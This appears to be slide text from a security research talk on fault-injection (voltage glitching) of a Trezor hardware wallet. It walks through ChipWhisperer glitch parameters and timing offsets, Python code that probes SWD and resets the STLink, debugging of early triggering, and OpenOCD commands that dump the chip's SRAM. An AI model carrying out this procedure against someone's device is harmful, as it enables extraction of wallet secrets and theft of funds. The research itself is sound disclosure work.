The three variables we use to help shape our glitch are the width,repeat, and offset variables.
width: How wide to make the glitch. This is the percentage of one period.
repeat: The number of clock cycles to repeat the glitch. Higher values increase the number of instructions that can be glitched but often increase the risk of crashing the target.
Note: a higher repeat typically results in a stronger glitch
offset: Where in the output clock to place the glitch.
Placing the Glitch
The ext_offset defines how many clock cycles the FPGA will wait after triggering before glitching
Since we specified a clock rate of 100 MHz, 15000 clock cycles equate to ~150 microseconds.
After the RESET line goes high on the Trezor, we will start counting down from our ext_offset value
When it hits zero - we will glitch the VCAP line!
Now we wait
Debugging the Glitch
After running the attack for some time with no results, we began troubleshooting our setup.
We needed to ensure:
The glitch placement was correct
The detection code (STLink) was properly detecting the SWD port being enabled
Debugging the Attack: USB
'''
swd_check
Use the link to attempt to connect via SWD
'''defswd_check():global dev
import swd
pc = 0try:
dev = swd.Swd()
pc = dev.get_version().strexcept:
del swd
passreturn pc
We tested this subroutine with a development board, everything seemed OK!
Debugging the Attack: USB
Everything seemed OK when testing with the development board
There was one problem:
We were testing if the SWD probe worked on the first attempt
Our code required many many attempts!
After testing a second attempt, it failed!
Even though the tested device was unlocked
Bug Number 1: STLink Re-enumeration
The STLink needed to be re-enumerated after each failed SWD probe
AKA: For EACH glitch attempt
We fixed this by writing a C program that would reset the device via sysfs between glitch attempts
We modified a simple c program to reset the STLink device after each glitch attempt.
Surely this was what was stopping us - on to glitching!
Bug Solution: Force reset
'''
swd_check
Use the link to attempt to connect via SWD
'''defswd_check():global dev
import swd
pc = 0try:
# Reset the STLink
os.system(f"sudo /home/pi/glitch/replicant/python/usbreset {usb_path}")
dev = swd.Swd()
pc = dev.get_version().strexcept:
del swd
passreturn pc
Now we wait
Bug Number 2: Triggering
Unfortunately, we were still not seeing results after a few more days of testing
We decided to get the scope back out and inspect our glitch.
We examined the glitch with an ext_offset of 16000,17000, and 18000, and it looked reasonable to the naked eye.
With an ext_offset of 0, we saw the following:
Bug Number 2: Triggering
Pink = Glitch, Yellow = Reset. Does anything look odd?
Bug Number 2: Triggering
The ChipWhisperer is triggering before the reset line reaches 3.3V!
This early triggering was causing our glitch to start counting down before the reset line was fully asserted.
The glitch was triggering about 20 microseconds too early.
Bug Number 2: Triggering
Bug Number 2: Triggering
We determined we were triggering approximately 24 microseconds too early using the oscilloscope.
Changed ext_offset range to be between 17000 and 20000 and left that running over the weekend...
When we returned to the office on Monday, the STLink LED was green, meaning it had successfully accessed the device via SWD!
Using the Glitch
We can now use OpenOCD to read the SRAM region with the glitch.
pi@voidstar:~/glitch/replicant $ ./run_openocd.sh
Open On-Chip Debugger 0.10.0+dev-01514-ga8edbd020-dirty (2022-03-01-19:24)
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
Info: auto-selecting first available session transport "hla_swd". To override use 'transport select <transport>'.
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD.
Info : Listening on port 6666 for tcl connections
Info : Listening on port 11111 for telnet connections
Info : clock speed 1000 kHz
Info : STLINK V2J29S7 (API v2) VID:PID 0483:3748
Info : Target voltage: 3.259749
Info : stm32f2x.cpu: hardware has 6 breakpoints, 4 watchpoints
Info : starting gdb server for stm32f2x.cpu on 3333
Info : Listening on port 3333 for gdb connections
Info : accepting 'telnet' connection on tcp/11111
Using the Glitch
With OpenOCD running, we can connect to it via telnet and read out SRAM:
pi@voidstar:~/glitch/replicant $ telnet localhost 11111
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Open On-Chip Debugger
> dump_image sram2.bin 0x20000000 0x1FFFFFFF